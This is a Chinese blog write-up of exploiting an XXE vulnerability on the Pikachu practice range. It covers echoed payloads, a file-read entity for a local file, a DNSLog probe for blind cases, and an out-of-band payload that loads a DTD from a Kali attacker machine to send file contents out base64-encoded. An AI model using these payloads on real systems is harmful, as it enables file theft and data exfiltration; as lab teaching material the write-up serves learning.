pikachu靶场之XXE漏洞详解

本文详细描述了一次针对XXE(外部实体注入)漏洞的探索过程,涉及有回显和无回显情况,使用BP抓包、URL编码技术,以及利用DNSLogPlatform检测服务器解析能力,并展示了如何通过Kali进行HTTP服务攻击和文件读取。
摘要由CSDN通过智能技术生成

pikachu验证XXE漏洞:分为有回显和无回显;

有回显:

首先尝试用BP抓包:

然后观察请求行、Accept、Content-Type,这里可以从Accept中发现能够接收的文档类型包括xml。

然后构造payload:

<?xml version="1.0"?>

<!DOCTYPE foo [   

<!ENTITY xxe "你真棒!" > ]>

<foo>&xxe;</foo>

如果真的存在xml漏洞,那么这里就会回显“你真棒!”。

但是当我用BP发送payload时却没有成功:

然后重新抓包,抓发送payload时的包:

可以看到是因为payload被URL编码了。

接下来就可以利用这个漏洞来读取服务器下的文件内容,构造payload

<?xml version="1.0"?>

<!DOCTYPE foo [   

<!ENTITY xxe SYSTEM "file:///d:/123.txt"  > ]>

<foo>&xxe;</foo>

这个payload将读取到在D盘下的123.txt文件的内容:

如果用BP发送的话,就要先URL编码:

无回显:

对这个靶场的源文件的输出语句进行注释后,就不会出现回显了:

此时重新发送payload是看不到任何东西的:

当遇到没有回显的情况可以用到这个网站DNSLog Platform。这是个域名解析网站,在这里用来检验目标主机是否能够解析xml的代码。

这个网站会给出一个子域名:

构造payload:

<?xml version="1.0"?>

<!DOCTYPE foo [   

<!ENTITY xxe SYSTEM "http://1zjmu5.dnslog.cn"> ]>

<foo>&xxe;</foo>

只要目标服务器能够解析xml代码就会访问代码中的网址。

上图说明目标主机访问了代码中的网址,那就说明目标主机能够解析xml代码,所以可能存在xxe漏洞。

接着需要用到Kali作为攻击机,首先在Kali中开启HTTP服务:

开启后在本机的浏览器输入Kali的IP就可以连接到服务:

(也可以用这种方式将虚拟机的文件下载到本机,在IP后面加上文件路径就行)

然后在Kali中编辑一个文件xxe.dtd(需要在存在这个文件的目录下开启HTTP服务)

这段代码是用来读取本机中的123.txt文件,马赛克处是Kali的IP。

然后在pikachu靶场中构造payload如下:

<!DOCTYPE convert [

<!ENTITY % remote SYSTEM "http://192.168.153.128/xxe.dtd">

%remote;%int;%send;

]>

这个payload会调用Kali中的xxe.dtd文件。

发送后就可以在Kali中看到记录:

红框中的内容就是123.txt文件经过base64编码后的内容,解码后的结果如下:

文件内容是中文所以显示乱码了。

把文件内容改成英文重来。

末尾的感叹号也是乱码。

至此就完成了对xxe漏洞的利用。

  • 22
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

“Script Kid”

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值